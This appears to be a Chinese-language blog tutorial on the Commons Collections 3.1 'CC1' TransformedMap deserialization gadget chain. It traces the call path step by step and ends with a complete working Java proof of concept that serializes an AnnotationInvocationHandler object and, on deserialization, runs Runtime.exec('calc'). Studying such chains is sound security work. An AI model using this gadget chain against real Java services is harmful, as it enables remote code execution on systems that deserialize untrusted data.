前言 Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
Apache Commons Collections包和简介 | 闪烁之狐 (blinkfox.github.io)
CC1链之TransformedMap链
环境
JDK版本:jdk1.8以前(8u71之后已修复不可利用)jdk1.8.0_66
CC版本:Commons-Collections 3.1-3.2.1
idea
maven在pom.xml添加
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
maven下载一下源代码
分析 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
这里 transform 就是通过反射调用方法,参数input,iMethodName,iArgs都通过构造方法可控 所以就是调用任意类的任意方法
尝试命令执行
import org.apache.commons.collections.functors.InvokerTransformer;public class BasicLearn { public static void main (String[] args) { Runtime runtime = Runtime.getRuntime(); new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }).transform(runtime); } }
向上寻找谁调用了 transform
protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
调用 变量valueTransformer的transform方法 ,看一下构造方法是否可控这个变量
protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
一个protected类型 的构造方法,只能自己调用,向上发现 static 的 decorate 进行调用构造方法
public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
通过类名直接调用 decorate 可以完成前置设置
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invoke = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }); HashMap map = new HashMap(); map.put("aaa" ,"bbb" ); TransformedMap.decorate(map,null ,invoke);
此时 checkSetValue的值还不确定是否可控 ,接着向上寻找调用,发现只有一处引用
TransformedMap的父类AbstractInputCheckedMapDecorator调用,在内部的MapEntry进行调用
static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
这里理解一下Entry
Java的entry是一个静态内部类,实现Map.Entry< K ,V> 这个接口,通过entry类可以构成一个单向链表。
Map是java中的接口,Map.Entry是Map的一个内部接口。
Map提供了一些常用方法,如keySet()、entrySet()等方法。
keySet()方法返回值是Map中key值的集合;entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。
Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey(),getValue方法。
这里就是通过遍历Entry,重写了setValue方法
向上寻找
AnnotationInvocationHandler 发现这里的readObject中调用了setValue
while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } }
但这里setValue好似不可控,后面再说,此类为default,想要序列化还需要反射
Runtime问题 在序列化的时候会报无法序列化的错误。原因就在于Runtime
类并没有实现Serializable
接口,所以无法序列化
利用反射即可解决
Class c = Runtime.class; Method getRuntimeMethod = c.getMethod("getRuntime" ,null ); Runtime r = (Runtime)getRuntimeMethod.invoke(null ,null ); Method execMethod = c.getMethod("exec" , String.class); execMethod.invoke(r,"calc" );
public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
这里看构造方法,传入一个数组,transform方法就是循环调用数组里面的transform方法,且参数都是上一次调用的结果,那么可以配合InvokerTransformer与Runtime的反射进行快速调用
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
readObject问题 先看构造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type." ); } }
this.type = extends Annotation 要求传入的是注释类 this.memberValues = Map<String, Object> 传入的Map
再看readObject
private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
var2 = AnnotationType.getInstance(this.type); //获取传入的注释类 Map var3 = var2.memberTypes(); //返回Map 获取注释类 键是成员的名字,值是成员的类型 String var6 = (String)var5.getKey(); //获取传入Map的key 即 aaa Class var7 = (Class)var3.get(var6); //从注释类成员中找与Map中相同的变量 如果传入Override(空成员变量) 则无法进入if
那么这里传入Retention.class 或者 Target.class 并且把 map中的key换为value 即
Object o = cons.newInstance(Retention.class, transformMap); map.put("value" , "bbb" );
if顺利进入
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + ...));
poc import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class CC1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value" , "bbb" ); Map<Object, Object> transformMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = c.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true ); Object o = cons.newInstance(Retention.class, transformMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { FileOutputStream fos = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filname) throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } }
调试跟进 理清流程,调试跟进
readObject
setValue这里的 value 不影响,这里 parent 为TransformMap
到 checkSetValue 时,已经通过构造方法使 valueTransformer 为 chainedTransformer
循环调用
循环调用的第一个为 ConstantTransformer,通过构造方法已经变为Runtime
到此cc1完成
流程图 来自 CC链学习-上 - 先知社区 (aliyun.com)
参考 Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili
Java反序列化之Commons-Collections1链 – cc (ccship.cn)